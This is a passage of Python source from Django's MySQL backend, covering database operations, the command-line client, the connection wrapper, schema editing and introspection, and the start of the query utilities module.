            for table in tables:
                sql.append('%s %s;' % (
                    style.SQL_KEYWORD('TRUNCATE'),
                    style.SQL_FIELD(self.quote_name(table)),
                ))
            sql.append('SET FOREIGN_KEY_CHECKS = 1;')
            sql.extend(self.sequence_reset_by_name_sql(style, sequences))
            return sql
        else:
            return []

    def validate_autopk_value(self, value):
        # MySQLism: zero in AUTO_INCREMENT field does not work. Refs #17653.
        if value == 0:
            raise ValueError('The database backend does not accept 0 as a '
                             'value for AutoField.')
        return value

    def adapt_datetimefield_value(self, value):
        if value is None:
            return None

        # Expression values are adapted by the database.
        if hasattr(value, 'resolve_expression'):
            return value

        # MySQL doesn't support tz-aware datetimes
        if timezone.is_aware(value):
            if settings.USE_TZ:
                value = timezone.make_naive(value, self.connection.timezone)
            else:
                raise ValueError("MySQL backend does not support timezone-aware datetimes when USE_TZ is False.")

        if not self.connection.features.supports_microsecond_precision:
            value = value.replace(microsecond=0)

        return six.text_type(value)

    def adapt_timefield_value(self, value):
        if value is None:
            return None

        # Expression values are adapted by the database.
        if hasattr(value, 'resolve_expression'):
            return value

        # MySQL doesn't support tz-aware times
        if timezone.is_aware(value):
            raise ValueError("MySQL backend does not support timezone-aware times.")

        return six.text_type(value)

    def max_name_length(self):
        return 64

    def bulk_insert_sql(self, fields, placeholder_rows):
        placeholder_rows_sql = (", ".join(row) for row in placeholder_rows)
        values_sql = ", ".join("(%s)" % sql for sql in placeholder_rows_sql)
        return "VALUES " + values_sql

    def combine_expression(self, connector, sub_expressions):
        """
        MySQL requires special cases for ^ operators in query expressions
        """
        if connector == '^':
            return 'POW(%s)' % ','.join(sub_expressions)
        return super(DatabaseOperations, self).combine_expression(connector, sub_expressions)

    def get_db_converters(self, expression):
        converters = super(DatabaseOperations, self).get_db_converters(expression)
        internal_type = expression.output_field.get_internal_type()
        if internal_type == 'TextField':
            converters.append(self.convert_textfield_value)
        elif internal_type in ['BooleanField', 'NullBooleanField']:
            converters.append(self.convert_booleanfield_value)
        elif internal_type == 'DateTimeField':
            converters.append(self.convert_datetimefield_value)
        elif internal_type == 'UUIDField':
            converters.append(self.convert_uuidfield_value)
        return converters

    def convert_textfield_value(self, value, expression, connection, context):
        if value is not None:
            value = force_text(value)
        return value

    def convert_booleanfield_value(self, value, expression, connection, context):
        if value in (0, 1):
            value = bool(value)
        return value

    def convert_datetimefield_value(self, value, expression, connection, context):
        if value is not None:
            if settings.USE_TZ:
                value = timezone.make_aware(value, self.connection.timezone)
        return value

    def convert_uuidfield_value(self, value, expression, connection, context):
        if value is not None:
            value = uuid.UUID(value)
        return value

    def binary_placeholder_sql(self, value):
        return '_binary %s' if value is not None else '%s'

    def subtract_temporals(self, internal_type, lhs, rhs):
        lhs_sql, lhs_params = lhs
        rhs_sql, rhs_params = rhs
        if self.connection.features.supports_microsecond_precision:
            if internal_type == 'TimeField':
                return (
                    "((TIME_TO_SEC(%(lhs)s) * POW(10, 6) + MICROSECOND(%(lhs)s)) -"
                    " (TIME_TO_SEC(%(rhs)s) * POW(10, 6) + MICROSECOND(%(rhs)s)))"
                ) % {'lhs': lhs_sql, 'rhs': rhs_sql}, lhs_params * 2 + rhs_params * 2
            else:
                return "TIMESTAMPDIFF(MICROSECOND, %s, %s)" % (rhs_sql, lhs_sql), rhs_params + lhs_params
        elif internal_type == 'TimeField':
            return (
                "(TIME_TO_SEC(%s) * POW(10, 6) - TIME_TO_SEC(%s) * POW(10, 6))"
            ) % (lhs_sql, rhs_sql), lhs_params + rhs_params
        else:
            return "(TIMESTAMPDIFF(SECOND, %s, %s) * POW(10, 6))" % (rhs_sql, lhs_sql), rhs_params + lhs_params






import subprocess

from django.db.backends.base.client import BaseDatabaseClient


class DatabaseClient(BaseDatabaseClient):
    executable_name = 'mysql'

    @classmethod
    def settings_to_cmd_args(cls, settings_dict):
        args = [cls.executable_name]
        db = settings_dict['OPTIONS'].get('db', settings_dict['NAME'])
        user = settings_dict['OPTIONS'].get('user', settings_dict['USER'])
        passwd = settings_dict['OPTIONS'].get('passwd', settings_dict['PASSWORD'])
        host = settings_dict['OPTIONS'].get('host', settings_dict['HOST'])
        port = settings_dict['OPTIONS'].get('port', settings_dict['PORT'])
        cert = settings_dict['OPTIONS'].get('ssl', {}).get('ca')
        defaults_file = settings_dict['OPTIONS'].get('read_default_file')
        # Seems to be no good way to set sql_mode with CLI.

        if defaults_file:
            args += ["--defaults-file=%s" % defaults_file]
        if user:
            args += ["--user=%s" % user]
        if passwd:
            args += ["--password=%s" % passwd]
        if host:
            if '/' in host:
                args += ["--socket=%s" % host]
            else:
                args += ["--host=%s" % host]
        if port:
            args += ["--port=%s" % port]
        if cert:
            args += ["--ssl-ca=%s" % cert]
        if db:
            args += [db]
        return args

    def runshell(self):
        args = DatabaseClient.settings_to_cmd_args(self.connection.settings_dict)
        subprocess.check_call(args)






"""
MySQL database backend for Django.

Requires mysqlclient: https://pypi.python.org/pypi/mysqlclient/
MySQLdb is supported for Python 2 only: http://sourceforge.net/projects/mysql-python
"""
from __future__ import unicode_literals

import datetime
import re
import sys
import warnings

from django.conf import settings
from django.db import utils
from django.db.backends import utils as backend_utils
from django.db.backends.base.base import BaseDatabaseWrapper
from django.utils import six, timezone
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_str
from django.utils.functional import cached_property
from django.utils.safestring import SafeBytes, SafeText

try:
    import MySQLdb as Database
except ImportError as e:
    from django.core.exceptions import ImproperlyConfigured
    raise ImproperlyConfigured(
        'Error loading MySQLdb module: %s.\n'
        'Did you install mysqlclient or MySQL-python?' % e
    )

from MySQLdb.constants import CLIENT, FIELD_TYPE                # isort:skip
from MySQLdb.converters import Thing2Literal, conversions       # isort:skip

# Some of these import MySQLdb, so import them after checking if it's installed.
from .client import DatabaseClient                          # isort:skip
from .creation import DatabaseCreation                      # isort:skip
from .features import DatabaseFeatures                      # isort:skip
from .introspection import DatabaseIntrospection            # isort:skip
from .operations import DatabaseOperations                  # isort:skip
from .schema import DatabaseSchemaEditor                    # isort:skip
from .validation import DatabaseValidation                  # isort:skip

# We want version (1, 2, 1, 'final', 2) or later. We can't just use
# lexicographic ordering in this check because then (1, 2, 1, 'gamma')
# inadvertently passes the version test.
version = Database.version_info
if (version < (1, 2, 1) or (
        version[:3] == (1, 2, 1) and (len(version) < 5 or version[3] != 'final' or version[4] < 2))):
    from django.core.exceptions import ImproperlyConfigured
    raise ImproperlyConfigured("MySQLdb-1.2.1p2 or newer is required; you have %s" % Database.__version__)


DatabaseError = Database.DatabaseError
IntegrityError = Database.IntegrityError


def adapt_datetime_warn_on_aware_datetime(value, conv):
    # Remove this function and rely on the default adapter in Django 2.0.
    if settings.USE_TZ and timezone.is_aware(value):
        warnings.warn(
            "The MySQL database adapter received an aware datetime (%s), "
            "probably from cursor.execute(). Update your code to pass a "
            "naive datetime in the database connection's time zone (UTC by "
            "default).", RemovedInDjango20Warning)
        # This doesn't account for the database connection's timezone,
        # which isn't known. (That's why this adapter is deprecated.)
        value = value.astimezone(timezone.utc).replace(tzinfo=None)
    return Thing2Literal(value.strftime("%Y-%m-%d %H:%M:%S.%f"), conv)

# MySQLdb-1.2.1 returns TIME columns as timedelta -- they are more like
# timedelta in terms of actual behavior as they are signed and include days --
# and Django expects time, so we still need to override that. We also need to
# add special handling for SafeText and SafeBytes as MySQLdb's type
# checking is too tight to catch those (see Django ticket #6052).
django_conversions = conversions.copy()
django_conversions.update({
    FIELD_TYPE.TIME: backend_utils.typecast_time,
    FIELD_TYPE.DECIMAL: backend_utils.typecast_decimal,
    FIELD_TYPE.NEWDECIMAL: backend_utils.typecast_decimal,
    datetime.datetime: adapt_datetime_warn_on_aware_datetime,
})

# This should match the numerical portion of the version numbers (we can treat
# versions like 5.0.24 and 5.0.24a as the same). Based on the list of version
# at http://dev.mysql.com/doc/refman/4.1/en/news.html and
# http://dev.mysql.com/doc/refman/5.0/en/news.html .
server_version_re = re.compile(r'(\d{1,2})\.(\d{1,2})\.(\d{1,2})')


# MySQLdb-1.2.1 and newer automatically makes use of SHOW WARNINGS on
# MySQL-4.1 and newer, so the MysqlDebugWrapper is unnecessary. Since the
# point is to raise Warnings as exceptions, this can be done with the Python
# warning module, and this is setup when the connection is created, and the
# standard backend_utils.CursorDebugWrapper can be used. Also, using sql_mode
# TRADITIONAL will automatically cause most warnings to be treated as errors.

class CursorWrapper(object):
    """
    A thin wrapper around MySQLdb's normal cursor class so that we can catch
    particular exception instances and reraise them with the right types.

    Implemented as a wrapper, rather than a subclass, so that we aren't stuck
    to the particular underlying representation returned by Connection.cursor().
    """
    codes_for_integrityerror = (1048,)

    def __init__(self, cursor):
        self.cursor = cursor

    def execute(self, query, args=None):
        try:
            # args is None means no string interpolation
            return self.cursor.execute(query, args)
        except Database.OperationalError as e:
            # Map some error codes to IntegrityError, since they seem to be
            # misclassified and Django would prefer the more logical place.
            if e.args[0] in self.codes_for_integrityerror:
                six.reraise(utils.IntegrityError, utils.IntegrityError(*tuple(e.args)), sys.exc_info()[2])
            raise

    def executemany(self, query, args):
        try:
            return self.cursor.executemany(query, args)
        except Database.OperationalError as e:
            # Map some error codes to IntegrityError, since they seem to be
            # misclassified and Django would prefer the more logical place.
            if e.args[0] in self.codes_for_integrityerror:
                six.reraise(utils.IntegrityError, utils.IntegrityError(*tuple(e.args)), sys.exc_info()[2])
            raise

    def __getattr__(self, attr):
        if attr in self.__dict__:
            return self.__dict__[attr]
        else:
            return getattr(self.cursor, attr)

    def __iter__(self):
        return iter(self.cursor)

    def __enter__(self):
        return self

    def __exit__(self, type, value, traceback):
        # Ticket #17671 - Close instead of passing thru to avoid backend
        # specific behavior.
        self.close()


class DatabaseWrapper(BaseDatabaseWrapper):
    vendor = 'mysql'
    # This dictionary maps Field objects to their associated MySQL column
    # types, as strings. Column-type strings can contain format strings; they'll
    # be interpolated against the values of Field.__dict__ before being output.
    # If a column type is set to None, it won't be included in the output.
    _data_types = {
        'AutoField': 'integer AUTO_INCREMENT',
        'BigAutoField': 'bigint AUTO_INCREMENT',
        'BinaryField': 'longblob',
        'BooleanField': 'bool',
        'CharField': 'varchar(%(max_length)s)',
        'CommaSeparatedIntegerField': 'varchar(%(max_length)s)',
        'DateField': 'date',
        'DateTimeField': 'datetime',
        'DecimalField': 'numeric(%(max_digits)s, %(decimal_places)s)',
        'DurationField': 'bigint',
        'FileField': 'varchar(%(max_length)s)',
        'FilePathField': 'varchar(%(max_length)s)',
        'FloatField': 'double precision',
        'IntegerField': 'integer',
        'BigIntegerField': 'bigint',
        'IPAddressField': 'char(15)',
        'GenericIPAddressField': 'char(39)',
        'NullBooleanField': 'bool',
        'OneToOneField': 'integer',
        'PositiveIntegerField': 'integer UNSIGNED',
        'PositiveSmallIntegerField': 'smallint UNSIGNED',
        'SlugField': 'varchar(%(max_length)s)',
        'SmallIntegerField': 'smallint',
        'TextField': 'longtext',
        'TimeField': 'time',
        'UUIDField': 'char(32)',
    }

    @cached_property
    def data_types(self):
        if self.features.supports_microsecond_precision:
            return dict(self._data_types, DateTimeField='datetime(6)', TimeField='time(6)')
        else:
            return self._data_types

    operators = {
        'exact': '= %s',
        'iexact': 'LIKE %s',
        'contains': 'LIKE BINARY %s',
        'icontains': 'LIKE %s',
        'regex': 'REGEXP BINARY %s',
        'iregex': 'REGEXP %s',
        'gt': '> %s',
        'gte': '>= %s',
        'lt': '< %s',
        'lte': '<= %s',
        'startswith': 'LIKE BINARY %s',
        'endswith': 'LIKE BINARY %s',
        'istartswith': 'LIKE %s',
        'iendswith': 'LIKE %s',
    }

    # The patterns below are used to generate SQL pattern lookup clauses when
    # the right-hand side of the lookup isn't a raw string (it might be an expression
    # or the result of a bilateral transformation).
    # In those cases, special characters for LIKE operators (e.g. \, *, _) should be
    # escaped on database side.
    #
    # Note: we use str.format() here for readability as '%' is used as a wildcard for
    # the LIKE operator.
    pattern_esc = r"REPLACE(REPLACE(REPLACE({}, '\\', '\\\\'), '%%', '\%%'), '_', '\_')"
    pattern_ops = {
        'contains': "LIKE BINARY CONCAT('%%', {}, '%%')",
        'icontains': "LIKE CONCAT('%%', {}, '%%')",
        'startswith': "LIKE BINARY CONCAT({}, '%%')",
        'istartswith': "LIKE CONCAT({}, '%%')",
        'endswith': "LIKE BINARY CONCAT('%%', {})",
        'iendswith': "LIKE CONCAT('%%', {})",
    }

    Database = Database
    SchemaEditorClass = DatabaseSchemaEditor

    def __init__(self, *args, **kwargs):
        super(DatabaseWrapper, self).__init__(*args, **kwargs)

        self.features = DatabaseFeatures(self)
        self.ops = DatabaseOperations(self)
        self.client = DatabaseClient(self)
        self.creation = DatabaseCreation(self)
        self.introspection = DatabaseIntrospection(self)
        self.validation = DatabaseValidation(self)

    def get_connection_params(self):
        kwargs = {
            'conv': django_conversions,
            'charset': 'utf8',
        }
        if six.PY2:
            kwargs['use_unicode'] = True
        settings_dict = self.settings_dict
        if settings_dict['USER']:
            kwargs['user'] = settings_dict['USER']
        if settings_dict['NAME']:
            kwargs['db'] = settings_dict['NAME']
        if settings_dict['PASSWORD']:
            kwargs['passwd'] = force_str(settings_dict['PASSWORD'])
        if settings_dict['HOST'].startswith('/'):
            kwargs['unix_socket'] = settings_dict['HOST']
        elif settings_dict['HOST']:
            kwargs['host'] = settings_dict['HOST']
        if settings_dict['PORT']:
            kwargs['port'] = int(settings_dict['PORT'])
        # We need the number of potentially affected rows after an
        # "UPDATE", not the number of changed rows.
        kwargs['client_flag'] = CLIENT.FOUND_ROWS
        kwargs.update(settings_dict['OPTIONS'])
        return kwargs

    def get_new_connection(self, conn_params):
        conn = Database.connect(**conn_params)
        conn.encoders[SafeText] = conn.encoders[six.text_type]
        conn.encoders[SafeBytes] = conn.encoders[bytes]
        return conn

    def init_connection_state(self):
        if self.features.is_sql_auto_is_null_enabled:
            with self.cursor() as cursor:
                # SQL_AUTO_IS_NULL controls whether an AUTO_INCREMENT column on
                # a recently inserted row will return when the field is tested
                # for NULL. Disabling this brings this aspect of MySQL in line
                # with SQL standards.
                cursor.execute('SET SQL_AUTO_IS_NULL = 0')

    def create_cursor(self):
        cursor = self.connection.cursor()
        return CursorWrapper(cursor)

    def _rollback(self):
        try:
            BaseDatabaseWrapper._rollback(self)
        except Database.NotSupportedError:
            pass

    def _set_autocommit(self, autocommit):
        with self.wrap_database_errors:
            self.connection.autocommit(autocommit)

    def disable_constraint_checking(self):
        """
        Disables foreign key checks, primarily for use in adding rows with forward references. Always returns True,
        to indicate constraint checks need to be re-enabled.
        """
        self.cursor().execute('SET foreign_key_checks=0')
        return True

    def enable_constraint_checking(self):
        """
        Re-enable foreign key checks after they have been disabled.
        """
        # Override needs_rollback in case constraint_checks_disabled is
        # nested inside transaction.atomic.
        self.needs_rollback, needs_rollback = False, self.needs_rollback
        try:
            self.cursor().execute('SET foreign_key_checks=1')
        finally:
            self.needs_rollback = needs_rollback

    def check_constraints(self, table_names=None):
        """
        Checks each table name in `table_names` for rows with invalid foreign
        key references. This method is intended to be used in conjunction with
        `disable_constraint_checking()` and `enable_constraint_checking()`, to
        determine if rows with invalid references were entered while constraint
        checks were off.

        Raises an IntegrityError on the first invalid foreign key reference
        encountered (if any) and provides detailed information about the
        invalid reference in the error message.

        Backends can override this method if they can more directly apply
        constraint checking (e.g. via "SET CONSTRAINTS ALL IMMEDIATE")
        """
        cursor = self.cursor()
        if table_names is None:
            table_names = self.introspection.table_names(cursor)
        for table_name in table_names:
            primary_key_column_name = self.introspection.get_primary_key_column(cursor, table_name)
            if not primary_key_column_name:
                continue
            key_columns = self.introspection.get_key_columns(cursor, table_name)
            for column_name, referenced_table_name, referenced_column_name in key_columns:
                cursor.execute(
                    """
                    SELECT REFERRING.`%s`, REFERRING.`%s` FROM `%s` as REFERRING
                    LEFT JOIN `%s` as REFERRED
                    ON (REFERRING.`%s` = REFERRED.`%s`)
                    WHERE REFERRING.`%s` IS NOT NULL AND REFERRED.`%s` IS NULL
                    """ % (
                        primary_key_column_name, column_name, table_name,
                        referenced_table_name, column_name, referenced_column_name,
                        column_name, referenced_column_name,
                    )
                )
                for bad_row in cursor.fetchall():
                    raise utils.IntegrityError(
                        "The row in table '%s' with primary key '%s' has an invalid "
                        "foreign key: %s.%s contains a value '%s' that does not have a corresponding value in %s.%s."
                        % (
                            table_name, bad_row[0], table_name, column_name,
                            bad_row[1], referenced_table_name, referenced_column_name,
                        )
                    )

    def is_usable(self):
        try:
            self.connection.ping()
        except Database.Error:
            return False
        else:
            return True

    @cached_property
    def mysql_version(self):
        with self.temporary_connection() as cursor:
            cursor.execute('SELECT VERSION()')
            server_info = cursor.fetchone()[0]
        match = server_version_re.match(server_info)
        if not match:
            raise Exception('Unable to determine MySQL version from version string %r' % server_info)
        return tuple(int(x) for x in match.groups())






from django.db.backends.base.schema import BaseDatabaseSchemaEditor
from django.db.models import NOT_PROVIDED


class DatabaseSchemaEditor(BaseDatabaseSchemaEditor):

    sql_rename_table = "RENAME TABLE %(old_table)s TO %(new_table)s"

    sql_alter_column_null = "MODIFY %(column)s %(type)s NULL"
    sql_alter_column_not_null = "MODIFY %(column)s %(type)s NOT NULL"
    sql_alter_column_type = "MODIFY %(column)s %(type)s"
    sql_rename_column = "ALTER TABLE %(table)s CHANGE %(old_column)s %(new_column)s %(type)s"

    sql_delete_unique = "ALTER TABLE %(table)s DROP INDEX %(name)s"

    sql_delete_fk = "ALTER TABLE %(table)s DROP FOREIGN KEY %(name)s"

    sql_delete_index = "DROP INDEX %(name)s ON %(table)s"

    sql_create_pk = "ALTER TABLE %(table)s ADD CONSTRAINT %(name)s PRIMARY KEY (%(columns)s)"
    sql_delete_pk = "ALTER TABLE %(table)s DROP PRIMARY KEY"

    def quote_value(self, value):
        # Inner import to allow module to fail to load gracefully
        import MySQLdb.converters
        return MySQLdb.escape(value, MySQLdb.converters.conversions)

    def skip_default(self, field):
        """
        MySQL doesn't accept default values for some data types and implicitly
        treats these columns as nullable.
        """
        db_type = field.db_type(self.connection)
        return (
            db_type is not None and
            db_type.lower() in {
                'tinyblob', 'blob', 'mediumblob', 'longblob',
                'tinytext', 'text', 'mediumtext', 'longtext',
                'json',
            }
        )

    def add_field(self, model, field):
        super(DatabaseSchemaEditor, self).add_field(model, field)

        # Simulate the effect of a one-off default.
        # field.default may be unhashable, so a set isn't used for "in" check.
        if self.skip_default(field) and field.default not in (None, NOT_PROVIDED):
            effective_default = self.effective_default(field)
            self.execute('UPDATE %(table)s SET %(column)s = %%s' % {
                'table': self.quote_name(model._meta.db_table),
                'column': self.quote_name(field.column),
            }, [effective_default])

    def _field_should_be_indexed(self, model, field):
        create_index = super(DatabaseSchemaEditor, self)._field_should_be_indexed(model, field)
        storage = self.connection.introspection.get_storage_engine(
            self.connection.cursor(), model._meta.db_table
        )
        # No need to create an index for ForeignKey fields except if
        # db_constraint=False because the index from that constraint won't be
        # created.
        if (storage == "InnoDB" and
                create_index and
                field.get_internal_type() == 'ForeignKey' and
                field.db_constraint):
            return False
        return create_index

    def _delete_composed_index(self, model, fields, *args):
        """
        MySQL can remove an implicit FK index on a field when that field is
        covered by another index like a unique_together. "covered" here means
        that the more complex index starts like the simpler one.
        http://bugs.mysql.com/bug.php?id=37910 / Django ticket #24757
        We check here before removing the [unique|index]_together if we have to
        recreate a FK index.
        """
        first_field = model._meta.get_field(fields[0])
        if first_field.get_internal_type() == 'ForeignKey':
            constraint_names = self._constraint_names(model, [first_field.column], index=True)
            if not constraint_names:
                self.execute(self._create_index_sql(model, [first_field], suffix=""))
        return super(DatabaseSchemaEditor, self)._delete_composed_index(model, fields, *args)

    def _set_field_new_type_null_status(self, field, new_type):
        """
        Keep the null property of the old field. If it has changed, it will be
        handled separately.
        """
        if field.null:
            new_type += " NULL"
        else:
            new_type += " NOT NULL"
        return new_type

    def _alter_column_type_sql(self, table, old_field, new_field, new_type):
        new_type = self._set_field_new_type_null_status(old_field, new_type)
        return super(DatabaseSchemaEditor, self)._alter_column_type_sql(table, old_field, new_field, new_type)

    def _rename_field_sql(self, table, old_field, new_field, new_type):
        new_type = self._set_field_new_type_null_status(old_field, new_type)
        return super(DatabaseSchemaEditor, self)._rename_field_sql(table, old_field, new_field, new_type)






from collections import namedtuple

from MySQLdb.constants import FIELD_TYPE

from django.db.backends.base.introspection import (
    BaseDatabaseIntrospection, FieldInfo, TableInfo,
)
from django.utils.datastructures import OrderedSet
from django.utils.encoding import force_text

FieldInfo = namedtuple('FieldInfo', FieldInfo._fields + ('extra', 'default'))
InfoLine = namedtuple('InfoLine', 'col_name data_type max_len num_prec num_scale extra column_default')


class DatabaseIntrospection(BaseDatabaseIntrospection):
    data_types_reverse = {
        FIELD_TYPE.BLOB: 'TextField',
        FIELD_TYPE.CHAR: 'CharField',
        FIELD_TYPE.DECIMAL: 'DecimalField',
        FIELD_TYPE.NEWDECIMAL: 'DecimalField',
        FIELD_TYPE.DATE: 'DateField',
        FIELD_TYPE.DATETIME: 'DateTimeField',
        FIELD_TYPE.DOUBLE: 'FloatField',
        FIELD_TYPE.FLOAT: 'FloatField',
        FIELD_TYPE.INT24: 'IntegerField',
        FIELD_TYPE.LONG: 'IntegerField',
        FIELD_TYPE.LONGLONG: 'BigIntegerField',
        FIELD_TYPE.SHORT: 'SmallIntegerField',
        FIELD_TYPE.STRING: 'CharField',
        FIELD_TYPE.TIME: 'TimeField',
        FIELD_TYPE.TIMESTAMP: 'DateTimeField',
        FIELD_TYPE.TINY: 'IntegerField',
        FIELD_TYPE.TINY_BLOB: 'TextField',
        FIELD_TYPE.MEDIUM_BLOB: 'TextField',
        FIELD_TYPE.LONG_BLOB: 'TextField',
        FIELD_TYPE.VAR_STRING: 'CharField',
    }

    def get_field_type(self, data_type, description):
        field_type = super(DatabaseIntrospection, self).get_field_type(data_type, description)
        if 'auto_increment' in description.extra:
            if field_type == 'IntegerField':
                return 'AutoField'
            elif field_type == 'BigIntegerField':
                return 'BigAutoField'

        return field_type

    def get_table_list(self, cursor):
        """
        Returns a list of table and view names in the current database.
        """
        cursor.execute("SHOW FULL TABLES")
        return [TableInfo(row[0], {'BASE TABLE': 't', 'VIEW': 'v'}.get(row[1]))
                for row in cursor.fetchall()]

    def get_table_description(self, cursor, table_name):
        """
        Returns a description of the table, with the DB-API cursor.description interface."
        """
        # information_schema database gives more accurate results for some figures:
        # - varchar length returned by cursor.description is an internal length,
        #   not visible length (#5725)
        # - precision and scale (for decimal fields) (#5014)
        # - auto_increment is not available in cursor.description
        cursor.execute("""
            SELECT column_name, data_type, character_maximum_length, numeric_precision,
                   numeric_scale, extra, column_default
            FROM information_schema.columns
            WHERE table_name = %s AND table_schema = DATABASE()""", [table_name])
        field_info = {line[0]: InfoLine(*line) for line in cursor.fetchall()}

        cursor.execute("SELECT * FROM %s LIMIT 1" % self.connection.ops.quote_name(table_name))

        def to_int(i):
            return int(i) if i is not None else i

        fields = []
        for line in cursor.description:
            col_name = force_text(line[0])
            fields.append(
                FieldInfo(*(
                    (col_name,) +
                    line[1:3] +
                    (
                        to_int(field_info[col_name].max_len) or line[3],
                        to_int(field_info[col_name].num_prec) or line[4],
                        to_int(field_info[col_name].num_scale) or line[5],
                        line[6],
                        field_info[col_name].extra,
                        field_info[col_name].column_default,
                    )
                ))
            )
        return fields

    def get_relations(self, cursor, table_name):
        """
        Returns a dictionary of {field_name: (field_name_other_table, other_table)}
        representing all relationships to the given table.
        """
        constraints = self.get_key_columns(cursor, table_name)
        relations = {}
        for my_fieldname, other_table, other_field in constraints:
            relations[my_fieldname] = (other_field, other_table)
        return relations

    def get_key_columns(self, cursor, table_name):
        """
        Returns a list of (column_name, referenced_table_name, referenced_column_name) for all
        key columns in given table.
        """
        key_columns = []
        cursor.execute("""
            SELECT column_name, referenced_table_name, referenced_column_name
            FROM information_schema.key_column_usage
            WHERE table_name = %s
                AND table_schema = DATABASE()
                AND referenced_table_name IS NOT NULL
                AND referenced_column_name IS NOT NULL""", [table_name])
        key_columns.extend(cursor.fetchall())
        return key_columns

    def get_indexes(self, cursor, table_name):
        cursor.execute("SHOW INDEX FROM %s" % self.connection.ops.quote_name(table_name))
        # Do a two-pass search for indexes: on first pass check which indexes
        # are multicolumn, on second pass check which single-column indexes
        # are present.
        rows = list(cursor.fetchall())
        multicol_indexes = set()
        for row in rows:
            if row[3] > 1:
                multicol_indexes.add(row[2])
        indexes = {}
        for row in rows:
            if row[2] in multicol_indexes:
                continue
            if row[4] not in indexes:
                indexes[row[4]] = {'primary_key': False, 'unique': False}
            # It's possible to have the unique and PK constraints in separate indexes.
            if row[2] == 'PRIMARY':
                indexes[row[4]]['primary_key'] = True
            if not row[1]:
                indexes[row[4]]['unique'] = True
        return indexes

    def get_storage_engine(self, cursor, table_name):
        """
        Retrieves the storage engine for a given table. Returns the default
        storage engine if the table doesn't exist.
        """
        cursor.execute(
            "SELECT engine "
            "FROM information_schema.tables "
            "WHERE table_name = %s", [table_name])
        result = cursor.fetchone()
        if not result:
            return self.connection.features._mysql_storage_engine
        return result[0]

    def get_constraints(self, cursor, table_name):
        """
        Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.
        """
        constraints = {}
        # Get the actual constraint names and columns
        name_query = """
            SELECT kc.`constraint_name`, kc.`column_name`,
                kc.`referenced_table_name`, kc.`referenced_column_name`
            FROM information_schema.key_column_usage AS kc
            WHERE
                kc.table_schema = DATABASE() AND
                kc.table_name = %s
        """
        cursor.execute(name_query, [table_name])
        for constraint, column, ref_table, ref_column in cursor.fetchall():
            if constraint not in constraints:
                constraints[constraint] = {
                    'columns': OrderedSet(),
                    'primary_key': False,
                    'unique': False,
                    'index': False,
                    'check': False,
                    'foreign_key': (ref_table, ref_column) if ref_column else None,
                }
            constraints[constraint]['columns'].add(column)
        # Now get the constraint types
        type_query = """
            SELECT c.constraint_name, c.constraint_type
            FROM information_schema.table_constraints AS c
            WHERE
                c.table_schema = DATABASE() AND
                c.table_name = %s
        """
        cursor.execute(type_query, [table_name])
        for constraint, kind in cursor.fetchall():
            if kind.lower() == "primary key":
                constraints[constraint]['primary_key'] = True
                constraints[constraint]['unique'] = True
            elif kind.lower() == "unique":
                constraints[constraint]['unique'] = True
        # Now add in the indexes
        cursor.execute("SHOW INDEX FROM %s" % self.connection.ops.quote_name(table_name))
        for table, non_unique, index, colseq, column in [x[:5] for x in cursor.fetchall()]:
            if index not in constraints:
                constraints[index] = {
                    'columns': OrderedSet(),
                    'primary_key': False,
                    'unique': False,
                    'index': True,
                    'check': False,
                    'foreign_key': None,
                }
            constraints[index]['index'] = True
            constraints[index]['columns'].add(column)
        # Convert the sorted sets to lists
        for constraint in constraints.values():
            constraint['columns'] = list(constraint['columns'])
        return constraints












"""
Various data structures used in query construction.

Factored out from django.db.models.query to avoid making the main module very
large and/or so that they can be used by other modules without getting into
circular import difficulties.
"""
from __future__ import unicode_literals

import inspect
from collections import namedtuple

from django.core.exceptions import FieldDoesNotExist
from django.db.models.constants import LOOKUP_SEP
from django.utils import tree
from django.utils.lru_cache import lru_cache

# PathInfo is used when converting lookups (fk__somecol). The contents
# describe the relation in Model terms (model Options and Fields for both
# sides of the relation. The join_field is the field backing the relation.
PathInfo = namedtuple('PathInfo', 'from_opts to_opts target_fields join_field m2m direct')


class InvalidQuery(Exception):
    """
    The query passed to raw isn't a safe query to use with raw.
    """
    pass


def subclasses(cls):
    yield cls
    # Python 2 lacks 'yield from', which could replace the inner loop
    for subclass in cls.__subclasses__():
        # yield from subclasses(subclass)
        for item in subclasses(subclass):
            yield item


class QueryWrapper(object):
    """
    A type that indicates the contents are an SQL fragment and the associate
    parameters. Can be used to pass opaque data to a where-clause, for example.
    """
    contains_aggregate = False

    def __init__(self, sql, params):
        self.data = sql, list(params)

    def as_sql(self, compiler=None, connection=None):
        return self.data


class Q(tree.Node):
    """
    Encapsulates filters as objects that can then be combined logically (using
    `&` and `|`).
    """
    # Connection types
    AND = 'AND'
    OR = 'OR'
    default = AND

    def __init__(self, *args, **kwargs):
        super(Q, self).__init__(children=list(args) + list(kwargs.items()))

    def _combine(self, other, conn):
        if not isinstance(other, Q):
            raise TypeError(other)
        obj = type(self)()
        obj.connector = conn
        obj.add(self, conn)
        obj.add(other, conn)
        return obj

    def __or__(self, other):
        return self._combine(other, self.OR)

    def __and__(self, other):
        return self._combine(other, self.AND)

    def __invert__(self):
        obj = type(self)()
        obj.add(self, self.AND)
        obj.negate()
        return obj

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        # We must promote any new joins to left outer joins so that when Q is
        # used as an expression, rows aren't filtered due to joins.
        clause, joins = query._add_q(self, reuse, allow_joins=allow_joins, split_subq=False)
        query.promote_joins(joins)
        return clause


class DeferredAttribute(object):
    """
    A wrapper for a deferred-loading field. When the value is read from this
    object the first time, the query is executed.
    """
    def __init__(self, field_name, model):
        self.field_name = field_name

    def __get__(self, instance, cls=None):
        """
        Retrieves and caches the value from the datastore on the first lookup.
        Returns the cached value.
        """
        if instance is None:
            return self
        opts = instance._meta
        data = instance.__dict__
        if data.get(self.field_name, self) is self:
            # self.field_name is the attname of the field, but only() takes the
            # actual name, so we need to translate it here.
            try:
                f = opts.get_field(self.field_name)
            except FieldDoesNotExist:
                f = [f for f in opts.fields if f.attname == self.field_name][0]
            name = f.name
            # Let's see if the field is part of the parent chain. If so we
            # might be able to reuse the already loaded value. Refs #18343.
            val = self._check_parent_chain(instance, name)
            if val is None:
                instance.refresh_from_db(fields=[self.field_name])
                val = getattr(instance, self.field_name)
            data[self.field_name] = val
        return data[self.field_name]

    def _check_parent_chain(self, instance, name):
        """
        Check if the field value can be fetched from a parent field already
        loaded in the instance. This can be done if the to-be fetched
        field is a primary key field.
        """
        opts = instance._meta
        f = opts.get_field(name)
